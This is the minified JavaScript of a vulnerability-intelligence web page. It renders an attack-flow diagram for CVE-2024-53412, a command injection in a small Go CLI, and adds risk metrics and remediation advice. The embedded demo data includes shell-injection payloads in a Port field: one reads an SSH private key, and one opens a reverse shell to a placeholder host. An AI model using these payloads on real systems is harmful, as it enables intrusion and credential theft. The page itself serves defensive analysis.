https://vulnintel.ai/assets/AttackFlowDemo-BmtGDYk6.js

1const __vite__mapDeps=(i,m=__vite__mapDeps,d=(m.f||(m.f=["assets/cveService-DvnjDG-G.js","assets/index-kEOuaiYw.js","assets/index-boGfWtLT.css","assets/attack-flow-8H7z418U.js"])))=>i.map(i=>d[i]);
2import{r as g,_ as A,j as e}from"./index-kEOuaiYw.js";import{e as H,a as G,b as U}from"./attack-flow-export-BglyY-PO.js";const M="#0b0d12",C="#12141a",Z="#15171d",f="#2a2e38",W="#454b58",q="#6b3a3d",X="#d97a7a",d="#ff4757",h="#e8b768",y="#4ade80",b="#e8e8ea",J="#1a1d24",x="#e8e8ea",m="#8a8f9c",k="#5c616e",l="'Kalam', 'Comic Sans MS', cursive",w="'JetBrains Mono', ui-monospace, SFMono-Regular, Menlo, monospace",Y=[{key:"exploitation",label:"Exploit"},{key:"weaponization",label:"Weapon"},{key:"broker",label:"Broker"},{key:"exposure",label:"Expose"},{key:"pre_disclosure",label:"PreDis"},{key:"chatter",label:"Chatter"},{key:"disclosure_vex",label:"VEX",context:!0},{key:"detection_coverage",label:"Detect",context:!0}];function z({n:t,malicious:n=!1}){return e.jsx("div",{style:{width:26,height:26,borderRadius:"50%",background:n?d:"#e8e8ea",color:n?"#fff":"#0b0d12",display:"inline-flex",alignItems:"center",justifyContent:"center",fontFamily:l,fontWeight:700,fontSize:14,boxShadow:n?"2px 2px 0 rgba(255,71,87,.25)":"2px 2px 0 rgba(255,255,255,.08)",flexShrink:0},children:t})}function ee({children:t,shape:n="square"}){return e.jsx("div",{style:{width:64,height:64,borderRadius:n==="circle"?"50%":10,background:J,border:`2.2px solid ${f}`,display:"flex",alignItems:"center",justifyContent:"center",color:b},children:t})}const r={stroke:b,strokeWidth:1.8,fill:"none",strokeLinecap:"round",strokeLinejoin:"round"},s={...r,stroke:d},D={attacker:t=>e.jsxs("svg",{width:"36",height:"36",viewBox:"0 0 36 36",children:[e.jsx("circle",{cx:"18",cy:"12",r:"5",...t?s:r}),e.jsx("path",{d:"M6 30 Q 18 18 30 30",...t?s:r}),e.jsx("path",{d:"M13 10 L 23 10",...s})]}),terminal:t=>e.jsxs("svg",{width:"36",height:"30",viewBox:"0 0 36 30",children:[e.jsx("rect",{x:"2",y:"3",width:"32",height:"24",rx:"2",...t?s:r}),e.jsx("path",{d:"M7 11 L 12 15 L 7 19",...t?s:r}),e.jsx("path",{d:"M15 20 L 24 20",...t?s:r})]}),file:t=>e.jsxs("svg",{width:"30",height:"34",viewBox:"0 0 30 34",children:[e.jsx("path",{d:"M4 4 L 20 4 L 26 10 L 26 30 L 4 30 Z",...t?s:r}),e.jsx("path",{d:"M20 4 L 20 10 L 26 10",...t?s:r}),e.jsx("path",{d:"M9 18 L 21 18 M9 22 L 21 22 M9 26 L 17 26",...t?s:r})]}),gear:t=>e.jsxs("svg",{width:"34",height:"34",viewBox:"0 0 34 34",children:[e.jsx("circle",{cx:"17",cy:"17",r:"5",...t?s:r}),e.jsx("path",{d:"M17 3 L17 8 M17 26 L17 31 M3 17 L8 17 M26 17 L31 17 M7 7 L10 10 M24 24 L27 27 M27 7 L24 10 M10 24 L7 27",...t?s:r})]}),shell:()=>e.jsxs("svg",{width:"34",height:"30",viewBox:"0 0 34 30",children:[e.jsx("rect",{x:"2",y:"3",width:"30",height:"24",rx:"2",...s}),e.jsx("path",{d:"M7 11 L 12 15 L 7 19",...s}),e.jsx("path",{d:"M15 20 L 24 20",...s})]}),key:()=>e.jsxs("svg",{width:"34",height:"30",viewBox:"0 0 34 30",children:[e.jsx("circle",{cx:"9",cy:"15",r:"6",...s}),e.jsx("path",{d:"M15 15 L 32 15 L 32 20 M26 15 L 26 20",...s})]}),antenna:()=>e.jsxs("svg",{width:"34",height:"34",viewBox:"0 0 34 34",children:[e.jsx("path",{d:"M17 30 L17 18",...s}),e.jsx("circle",{cx:"17",cy:"15",r:"3",...s,fill:d,fillOpacity:.2}),e.jsx("path",{d:"M10 8 Q 17 2 24 8",...s}),e.jsx("path",{d:"M6 4 Q 17 -4 28 4",...s})]}),browser:t=>e.jsxs("svg",{width:"34",height:"30",viewBox:"0 0 34 30",children:[e.jsx("rect",{x:"2",y:"3",width:"30",height:"24",rx:"2",...t?s:r}),e.jsx("path",{d:"M2 10 L 32 10",...t?s:r}),e.jsx("circle",{cx:"6",cy:"7",r:"1",fill:t?d:b}),e.jsx("circle",{cx:"10",cy:"7",r:"1",fill:t?d:b})]}),server:t=>e.jsxs("svg",{width:"30",height:"34",viewBox:"0 0 30 34",children:[e.jsx("rect",{x:"3",y:"4",width:"24",height:"10",rx:"1.5",...t?s:r}),e.jsx("rect",{x:"3",y:"18",width:"24",height:"10",rx:"1.5",...t?s:r}),e.jsx("circle",{cx:"8",cy:"9",r:"1",fill:t?d:b}),e.jsx("circle",{cx:"8",cy:"23",r:"1",fill:t?d:b})]}),db:t=>e.jsxs("svg",{width:"30",height:"34",viewBox:"0 0 30 34",children:[e.jsx("ellipse",{cx:"15",cy:"7",rx:"11",ry:"4",...t?s:r}),e.jsx("path",{d:"M4 7 L 4 25 Q 15 30 26 25 L 26 7",...t?s:r}),e.jsx("path",{d:"M4 16 Q 15 21 26 16",...t?s:r})]}),cloud:t=>e.jsx("svg",{width:"36",height:"30",viewBox:"0 0 36 30",children:e.jsx("path",{d:"M9 22 Q 2 22 2 15 Q 2 9 9 9 Q 10 4 16 4 Q 24 4 25 11 Q 34 11 34 18 Q 34 24 27 24 L 9 24 Z",...t?s:r})}),lock:t=>e.jsxs("svg",{width:"30",height:"34",viewBox:"0 0 30 34",children:[e.jsx("rect",{x:"5",y:"14",width:"20",height:"16",rx:"2",...t?s:r}),e.jsx("path",{d:"M9 14 L 9 9 Q 9 3 15 3 Q 21 3 21 9 L 21 14",...t?s:r})]}),bug:t=>e.jsxs("svg",{width:"34",height:"34",viewBox:"0 0 34 34",children:[e.jsx("ellipse",{cx:"17",cy:"18",rx:"8",ry:"10",...t?s:r}),e.jsx("path",{d:"M17 8 L17 5 M12 10 L 9 6 M22 10 L 25 6 M9 18 L 4 18 M25 18 L 30 18 M10 27 L 6 30 M24 27 L 28 30",...t?s:r})]}),package:t=>e.jsxs("svg",{width:"34",height:"34",viewBox:"0 0 34 34",children:[e.jsx("path",{d:"M17 3 L 30 10 L 30 24 L 17 31 L 4 24 L 4 10 Z",...t?s:r}),e.jsx("path",{d:"M4 10 L 17 17 L 30 10 M17 17 L 17 31",...t?s:r})]}),wallet:t=>e.jsxs("svg",{width:"34",height:"30",viewBox:"0 0 34 30",children:[e.jsx("rect",{x:"3",y:"5",width:"28",height:"20",rx:"2",...t?s:r}),e.jsx("path",{d:"M3 11 L 31 11",...t?s:r}),e.jsx("circle",{cx:"25",cy:"18",r:"2",...t?s:r})]}),radar:t=>e.jsxs("svg",{width:"34",height:"34",viewBox:"0 0 34 34",children:[e.jsx("circle",{cx:"17",cy:"17",r:"12",...t?s:r}),e.jsx("circle",{cx:"17",cy:"17",r:"7",...t?s:r}),e.jsx("circle",{cx:"17",cy:"17",r:"2",fill:t?d:b}),e.jsx("path",{d:"M17 17 L 28 8",...t?s:r})]}),chip:t=>e.jsxs("svg",{width:"34",height:"34",viewBox:"0 0 34 34",children:[e.jsx("rect",{x:"8",y:"8",width:"18",height:"18",rx:"1.5",...t?s:r}),e.jsx("path",{d:"M3 12 L8 12 M3 17 L8 17 M3 22 L8 22 M26 12 L31 12 M26 17 L31 17 M26 22 L31 22 M12 3 L12 8 M17 3 L17 8 M22 3 L22 8 M12 26 L12 31 M17 26 L17 31 M22 26 L22 31",...t?s:r})]}),tombstone:()=>e.jsxs("svg",{width:"30",height:"34",viewBox:"0 0 30 34",children:[e.jsx("path",{d:"M5 32 L5 14 Q 5 3 15 3 Q 25 3 25 14 L 25 32 Z",...r}),e.jsx("path",{d:"M11 18 L 19 18 M15 14 L 15 24",...r})]}),shield_check:()=>e.jsxs("svg",{width:"30",height:"34",viewBox:"0 0 30 34",children:[e.jsx("path",{d:"M15 3 L 27 8 L 27 18 Q 27 27 15 31 Q 3 27 3 18 L 3 8 Z",stroke:y,strokeWidth:1.8,fill:"none",strokeLinejoin:"round"}),e.jsx("path",{d:"M9 17 L 14 22 L 22 12",stroke:y,strokeWidth:2.2,fill:"none",strokeLinecap:"round",strokeLinejoin:"round"})]}),detection_badge:()=>e.jsxs("svg",{width:"34",height:"34",viewBox:"0 0 34 34",children:[e.jsx("circle",{cx:"17",cy:"17",r:"12",stroke:y,strokeWidth:1.8,fill:"none"}),e.jsx("path",{d:"M11 17 L 15 21 L 23 13",stroke:y,strokeWidth:2.2,fill:"none",strokeLinecap:"round",strokeLinejoin:"round"})]})};function te(t,n){const o=t.split(/(<mark>.*?<\/mark>)/g);return e.jsx(e.Fragment,{children:o.map((c,p)=>{const v=c.match(/^<mark>(.*)<\/mark>$/);return v?e.jsx("span",{style:{background:d,color:"#fff",padding:"0 4px",borderRadius:2},children:v[1]},p):e.jsx("span",{children:c},p)})})}function ie({node:t}){const n=t.shape??"square",o=!!t.malicious,c=t.n%2===0?.3:-.2,p=D[t.iconKey]??D.gear;return e.jsxs("div",{style:{display:"flex",flexDirection:"column",alignItems:"center",gap:8,minWidth:170},children:[e.jsxs("div",{style:{display:"flex",alignItems:"center",gap:8},children:[e.jsx(z,{n:t.n,malicious:o}),e.jsxs("div",{style:{fontFamily:l,color:o?d:x,fontSize:12.5,maxWidth:200,lineHeight:1.2},children:[t.caption,t.attack_technique&&e.jsx("span",{style:{marginLeft:6,fontFamily:w,fontSize:10.5,color:h,border:`1px solid ${h}`,borderRadius:3,padding:"0 4px"},children:t.attack_technique})]})]}),e.jsx(ee,{shape:n,children:p(o)}),e.jsxs("div",{style:{textAlign:"center",marginTop:6},children:[e.jsx("div",{style:{fontFamily:l,fontWeight:700,color:x,fontSize:13},children:t.label}),t.sub&&e.jsx("div",{style:{fontFamily:l,color:m,fontSize:11},children:t.sub})]}),t.snippet&&e.jsx("div",{style:{transform:`rotate(${c}deg)`,marginTop:4,background:"#0f1116",border:`2px solid ${o?"#4a2126":f}`,borderRadius:3,padding:"8px 10px",fontFamily:w,fontSize:12,color:x,minHeight:46,minWidth:220,maxWidth:280,boxSh

2adow:o?"3px 3px 0 rgba(255,71,87,.18)":"3px 3px 0 rgba(255,255,255,.05)",lineHeight:1.55,whiteSpace:"pre-wrap",wordBreak:"break-word"},children:te(t.snippet)}),t.provenance&&e.jsxs("div",{style:{fontFamily:w,fontSize:10,color:t.provenance.kind==="reconstructed"?h:m,marginTop:2,maxWidth:280,textAlign:"center",wordBreak:"break-all"},children:[t.provenance.kind,":",t.provenance.ref]})]})}function se({malicious:t=!1}){const n=t?d:"#8a8f9c";return e.jsx("div",{style:{display:"flex",alignItems:"center",padding:"0 4px",marginTop:40},children:e.jsxs("svg",{width:"60",height:"18",viewBox:"0 0 60 18",fill:"none",children:[e.jsx("path",{d:"M2 9 Q 20 3, 40 9 T 56 9",stroke:n,strokeWidth:"2.2",strokeLinecap:"round",fill:"none"}),e.jsx("path",{d:"M50 4 L58 9 L50 14",stroke:n,strokeWidth:"2.2",strokeLinecap:"round",strokeLinejoin:"round",fill:"none"})]})})}function re({n:t,caption:n,malicious:o=!1}){const c=o?d:"#8a8f9c";return e.jsxs("div",{style:{display:"flex",alignItems:"center",gap:12,padding:"6px 0 6px 40px"},children:[e.jsx(z,{n:t,malicious:o}),e.jsx("div",{style:{fontFamily:l,color:o?d:x,fontSize:12.5},children:n}),e.jsxs("svg",{width:"14",height:"46",viewBox:"0 0 14 46",fill:"none",children:[e.jsx("path",{d:"M7 2 L7 40",stroke:c,strokeWidth:"2.2",strokeLinecap:"round"}),e.jsx("path",{d:"M2 34 L7 42 L12 34",stroke:c,strokeWidth:"2.2",strokeLinecap:"round",strokeLinejoin:"round",fill:"none"})]})]})}function ne({zone:t,rot:n}){const o=t.variant==="compromised"?W:t.variant==="post"?q:f,c=t.variant!=="compromised",p=t.variant==="post"?X:m,v=t.variant==="post"?"3px 3px 0 rgba(255,71,87,.15)":"3px 3px 0 rgba(255,255,255,.05)";return e.jsxs("div",{style:{position:"relative",border:`2.4px ${c?"dashed":"solid"} ${o}`,borderRadius:9,background:t.variant==="compromised"?Z:C,padding:"34px 24px 22px",boxShadow:v,transform:`rotate(${n}deg)`},children:[e.jsx("div",{style:{position:"absolute",top:-11,left:22,background:M,padding:"0 10px",fontFamily:l,fontWeight:700,fontSize:12,letterSpacing:1,color:p,textTransform:"uppercase"},children:t.label}),t.captionNote&&e.jsx("div",{style:{position:"absolute",top:-10,right:22,background:M,padding:"0 10px",fontFamily:l,fontSize:11,color:h,fontStyle:"italic"},children:t.captionNote}),e.jsx("div",{style:{display:"flex",alignItems:"flex-start",gap:4,flexWrap:"wrap"},children:t.nodes.map((u,L)=>e.jsxs("div",{style:{display:"flex",alignItems:"flex-start"},children:[L>0&&e.jsx(se,{malicious:!!u.malicious}),e.jsx(ie,{node:u})]},u.n))}),t.evidence_rules&&t.evidence_rules.length>0&&e.jsx("div",{style:{display:"flex",gap:6,flexWrap:"wrap",marginTop:14},children:t.evidence_rules.map(u=>e.jsxs("span",{style:{fontFamily:w,fontSize:10,color:m,border:`1px dashed ${W}`,borderRadius:3,padding:"1px 6px"},children:["rule:",u]},u))})]})}function oe({signals:t}){return e.jsxs("div",{style:{display:"flex",alignItems:"center",gap:10,marginTop:12,border:`1.6px solid ${f}`,borderRadius:6,padding:"8px 12px",background:C},children:[e.jsxs("span",{style:{fontFamily:l,color:m,fontSize:11,letterSpacing:1},children:["SIGNALS · fc=",t.family_count]}),e.jsx("div",{style:{display:"flex",gap:8},children:Y.map(n=>{const o=t.lit_families.includes(n.key);return e.jsxs("div",{title:n.label,style:{display:"flex",flexDirection:"column",alignItems:"center",gap:2},children:[e.jsx("div",{style:{width:10,height:10,borderRadius:"50%",background:o?n.context?h:y:"transparent",border:`1.4px ${n.context?"dashed":"solid"} ${o?n.context?h:y:k}`,boxShadow:o&&!n.context?`0 0 6px ${y}66`:"none"}}),e.jsx("span",{style:{fontFamily:w,fontSize:9,color:o?x:k},children:n.label})]},n.key)})})]})}function ae({chips:t}){return e.jsx("div",{style:{display:"flex",gap:8,flexWrap:"wrap",marginTop:12},children:t.map((n,o)=>{const c=n.tone==="red"?d:n.tone==="amber"?h:y;return e.jsx("div",{style:{fontFamily:l,fontSize:12,color:c,border:`1.8px solid ${c}`,borderRadius:4,padding:"3px 10px",background:`${c}14`},children:n.text},o)})})}const le={cve_id:"CVE-2024-53412",title:"CVE-2024-53412 — Command injection in ShoppingCart connect()",tagline:"Unsanitised Port field poisons a stored cart item; shell metacharacters execute when the user later selects that entry to SSH.",caveat:"Conceptual diagram — payload shape verified against Buckdray PoC; downstream reverse-shell / exfil steps are illustrative.",pills:[{label:"Vulnerable",value:"≤ 0.0.2",tone:"red"},{label:"Fixed",value:"no upstream patch",tone:"amber"},{label:"Action",value:"remove / avoid",tone:"green"}],zones:[{label:"Local input — poisoning the cart file",variant:"benign",nodes:[{n:1,shape:"circle",iconKey:"attacker",label:"Attacker",sub:"local user / supply-chain",caption:"Runs the CLI in add-item mode",snippet:"$ ./ShoppingCart <mark>add</mark>"},{n:2,malicious:!0,iconKey:"terminal",label:"Prompt: Port",sub:"unvalidated stdin",caption:"Injects ; then a shell command as the Port",snippet:`User: alice
3Host: prod.internal
4Port: 22<mark>;id</mark>`},{n:3,iconKey:"file",label:"cart.json",sub:"persisted on disk",caption:"Poisoned entry s

4aved, waits for the next connect",snippet:`{ "user":"alice",
5  "host":"prod.internal",
6  "port":"22<mark>;id</mark>" }`}]},{label:"Compromised system — ssh.go connect()",variant:"compromised",connector_in:{n:4,caption:"Later — user selects the poisoned entry"},nodes:[{n:5,malicious:!0,iconKey:"gear",label:"connect()",sub:"string concat, no escape",caption:"Builds shell command by interpolating item.Port",snippet:`// ssh.go
7executed := "ssh " + user +
8  "@" + host + " -p " + <mark>port</mark>`},{n:6,malicious:!0,iconKey:"shell",label:"/bin/sh -c",sub:"shell interprets ;",caption:"Semicolon terminates ssh; injected command runs next",snippet:`$ sh -c "ssh [email protected] -p 22<mark>;id</mark>"
9→ uid=1000(user) gid=1000(user)`}]},{label:"Post-exploitation",variant:"post",captionNote:"illustrative impact if exploited — not confirmed ITW",connector_in:{n:7,caption:"Attacker upgrades ;id to a real payload",malicious:!0},nodes:[{n:8,malicious:!0,iconKey:"key",label:"Credential harvest",sub:"process privileges",caption:"Reads keys/env inherited by the process",snippet:"Port: 22<mark>;cat ~/.ssh/id_rsa | base64</mark>"},{n:9,malicious:!0,iconKey:"antenna",label:"Reverse shell / C2",sub:"attacker-controlled host",caption:"Persistent interactive access to the workstation",snippet:"Port: 22<mark>;bash -i >& /dev/tcp/1.2.3.4/4444 0>&1</mark>"}]}],practical_risk:"CVSS reads high, but exploitation requires local CLI access and the victim later selecting the poisoned entry — no network-reachable trigger. No KEV listing, no confirmed ITW activity, and the affected project is a personal-scale Go CLI (single-digit stars) with no vendor patch. Score should be read as local privilege reuse / supply-chain, not remote RCE.",metrics:[{k:"CVSS",v:"8.8",sub:"High (v3.1)"},{k:"CWE",v:"CWE-78",sub:"OS Command Injection"},{k:"EPSS",v:"0.04%",sub:"very low"},{k:"KEV",v:"No",sub:"not listed"},{k:"SSVC",v:"Track",sub:"no active exploit"}],remediation:'Validate item.Port as an integer before storing; build the ssh command with exec.Command("ssh", args...) (argv form, no shell interpolation). Until upstream fixes land, avoid this project on shared hosts.',sources:"Sources — NVD CVE-2024-53412 · Buckdray/vulnerability-research PoC · NietThijmen/ShoppingCart#1"};function pe(){const[t,n]=g.useState(le),[o,c]=g.useState(""),[p,v]=g.useState(!1),[u,L]=g.useState(null),[_,$]=g.useState([]),[V,S]=g.useState(!1),[B,E]=g.useState(-1),[R,P]=g.useState(null),F=g.useRef(null),N=async i=>{try{P(i),i==="json"?H(t,t.cve_id):F.current&&(i==="png"?await G(F.current,t.cve_id):await U(F.current,t.cve_id))}catch(a){L(`Export failed: ${a.message}`)}finally{P(null)}};g.useEffect(()=>{const i=o.trim();if(i.length<4||!/^cve-?\d/i.test(i)){$([]);return}let a=!1;const j=setTimeout(async()=>{try{const{autocompleteCve:T}=await A(async()=>{const{autocompleteCve:K}=await import("./cveService-DvnjDG-G.js");return{autocompleteCve:K}},__vite__mapDeps([0,1,2])),I=await T(i,8);a||$(I)}catch{}},180);return()=>{a=!0,clearTimeout(j)}},[o]),g.useEffect(()=>{const i=document.createElement("link");return i.rel="stylesheet",i.href="https://fonts.googleapis.com/css2?family=Kalam:wght@400;700&family=JetBrains+Mono:wght@400;600&display=swap",document.head.appendChild(i),()=>{document.head.removeChild(i)}},[]);const Q=async i=>{i.preventDefault();const a=o.trim().toUpperCase();if(!/^CVE-\d{4}-\d{4,}$/.test(a)){L("Enter a valid CVE id (e.g. CVE-2024-53412)");return}L(null),v(!0);try{const{fetchAttackFlow:j}=await A(async()=>{const{fetchAttackFlow:I}=await import("./attack-flow-8H7z418U.js");return{fetchAttackFlow:I}},__vite__mapDeps([3,1,2])),T=await j(a);n(T.flow)}catch(j){L(j.message)}finally{v(!1)}},O=[-.15,.15,-.1,.08];return e.jsx("div",{style:{background:M,minHeight:"100vh",padding:"40px 32px",color:x},children:e.jsxs("div",{style:{maxWidth:1280,margin:"0 auto"},children:[e.jsxs("div",{style:{marginBottom:20},children:[e.jsx("h1",{style:{fontFamily:l,fontWeight:700,fontSize:30,margin:0,color:x},children:t.title}),e.jsx("div",{style:{fontFamily:l,color:m,fontSize:15,marginTop:6},children:t.tagline}),t.caveat&&e.jsx("div",{style:{fontFamily:l,color:h,fontSize:12.5,marginTop:4,fontStyle:"italic"},children:t.caveat}),e.jsx("div",{style:{display:"flex",gap:8,marginTop:14,flexWrap:"wrap"},children:t.pills.map(i=>{const a=i.tone==="red"?d:i.tone==="amber"?h:y;return e.jsxs("div",{style:{fontFamily:l,fontSize:12,padding:"4px 10px",borderRadius:999,border:`1.8px solid ${a}`,color:a},children:[e.jsxs("span",{style:{opacity:.7},children:[i.label,":"]}

9)," ",e.jsx("strong",{children:i.value})]},i.label)})})]}),e.jsxs("form",{onSubmit:Q,style:{marginBottom:24,display:"flex",gap:10,alignItems:"center",flexWrap:"wrap",border:`2px dashed ${f}`,borderRadius:8,padding:"12px 14px",background:C},children:[e.jsx("label",{htmlFor:"cve-input",style:{fontFamily:l,color:m,fontSize:13},children:"Generate for CVE:"}),e.jsxs("div",{style:{position:"relative",flex:1,minWidth:200,maxWidth:320},children:[e.jsx("input",{id:"cve-input",type:"text",value:o,onChange:i=>{c(i.target.value),S(!0),E(-1)},onFocus:()=>S(!0),onBlur:()=>setTimeout(()=>S(!1),150),onKeyDown:i=>{_.length&&(i.key==="ArrowDown"?(i.preventDefault(),E(a=>Math.min(a+1,_.length-1))):i.key==="ArrowUp"?(i.preventDefault(),E(a=>Math.max(a-1,0))):i.key==="Enter"&&B>=0?(i.preventDefault(),c(_[B].cve_id),S(!1)):i.key==="Escape"&&S(!1))},placeholder:"CVE-2024-53412",spellCheck:!1,disabled:p,autoComplete:"off",style:{width:"100%",background:M,border:`1.8px solid ${f}`,borderRadius:4,color:x,fontFamily:w,fontSize:13,padding:"6px 10px",outline:"none"}}),V&&_.length>0&&e.jsx("div",{style:{position:"absolute",top:"calc(100% + 4px)",left:0,right:0,zIndex:50,background:C,border:`1.5px solid ${f}`,borderRadius:4,maxHeight:280,overflowY:"auto",boxShadow:"0 4px 12px rgba(0,0,0,0.4)"},children:_.map((i,a)=>e.jsxs("div",{onMouseDown:j=>{j.preventDefault(),c(i.cve_id),S(!1)},onMouseEnter:()=>E(a),style:{padding:"6px 10px",cursor:"pointer",background:a===B?"rgba(255,255,255,0.06)":"transparent",display:"flex",justifyContent:"space-between",gap:8,fontFamily:w,fontSize:12,color:x,borderBottom:`1px solid ${f}`},children:[e.jsx("span",{children:i.cve_id}),e.jsxs("span",{style:{color:m,fontSize:11},children:[i.cvss_severity??""," ",i.cvss_score??""]})]},i.cve_id))})]}),e.jsx("button",{type:"submit",disabled:p,style:{fontFamily:l,fontWeight:700,fontSize:13,color:M,background:p?k:h,border:"none",borderRadius:4,padding:"6px 14px",cursor:p?"wait":"pointer",boxShadow:"2px 2px 0 rgba(232,183,104,.3)"},children:p?"Generating…":"Generate →"}),u&&e.jsx("span",{style:{fontFamily:l,color:d,fontSize:12},children:u}),!u&&e.jsx("span",{style:{fontFamily:l,color:k,fontSize:11,fontStyle:"italic"},children:"renders a fresh attack-flow diagram in place (~5-10s)"}),["png","svg","json"].map(i=>e.jsx("button",{type:"button",onClick:()=>N(i),disabled:p||R!==null,style:{fontFamily:l,fontWeight:700,fontSize:12,color:x,background:"transparent",border:`1.5px solid ${W}`,borderRadius:4,padding:"4px 10px",cursor:R!==null?"wait":"pointer"},children:R===i?"…":`Export ${i.toUpperCase()}`},i))]}),e.jsx("div",{ref:F,style:{background:M,padding:"8px 0"},children:t.zones.map((i,a)=>e.jsxs("div",{children:[i.connector_in&&e.jsx(re,{n:i.connector_in.n,caption:i.connector_in.caption,malicious:!!i.connector_in.malicious}),e.jsx(ne,{zone:i,rot:O[a]??0})]},a))}),t.practical_risk_chips&&t.practical_risk_chips.length>0&&e.jsx(ae,{chips:t.practical_risk_chips}),t.practical_risk&&e.jsxs("div",{style:{marginTop:20,border:`2px solid ${h}`,borderRadius:8,background:"rgba(232,183,104,0.06)",padding:"14px 18px",fontFamily:l,color:x,boxShadow:"3px 3px 0 rgba(232,183,104,.12)",transform:"rotate(-0.1deg)"},children:[e.jsx("div",{style:{color:h,fontWeight:700,fontSize:13,letterSpacing:1,marginBottom:4},children:"PRACTICAL RISK"}),e.jsx("div",{style:{fontSize:14,lineHeight:1.5},children:t.practical_risk})]}),e.jsx("div",{style:{marginTop:18,display:"grid",gridTemplateColumns:`repeat(${Math.max(t.metrics.length,1)}, 1fr)`,gap:10},children:t.metrics.map(i=>e.jsxs("div",{style:{border:`1.8px solid ${f}`,borderRadius:6,padding:"10px 12px",background:C,fontFamily:l},children:[e.jsx("div",{style:{color:m,fontSize:11,letterSpacing:1},children:i.k}),e.jsx("div",{style:{color:x,fontSize:18,fontWeight:700},children:i.v}),e.jsx("div",{style:{color:k,fontSize:11},children:i.sub})]},i.k))}),t.signals&&e.jsx(oe,{signals:t.signals}),t.remediation&&e.jsxs("div",{style:{marginTop:14,fontFamily:l,color:h,fontSize:13,lineHeight:1.6},children:[e.jsx("strong",{children:"Remediation:"})," ",t.remediation]}),t.sources_list&&t.sources_list.length>0?e.jsxs("div",{style:{marginTop:8,fontFamily:l,color:k,fontSize:11.5,display:"flex",gap:6,flexWrap:"wrap"},children:[e.jsx("span",{children:"Sources —"}),t.sources_list.map((i,a)=>e.jsxs("span",{children:[i,a<t.sources_list.length-1?" ·":""]},a))]}):t.sources?e.jsx("div",{style:{marginTop:6,fontFamily:l,color:k,fontSize:11.5},children:t.sources}):null]})})}export{pe as default};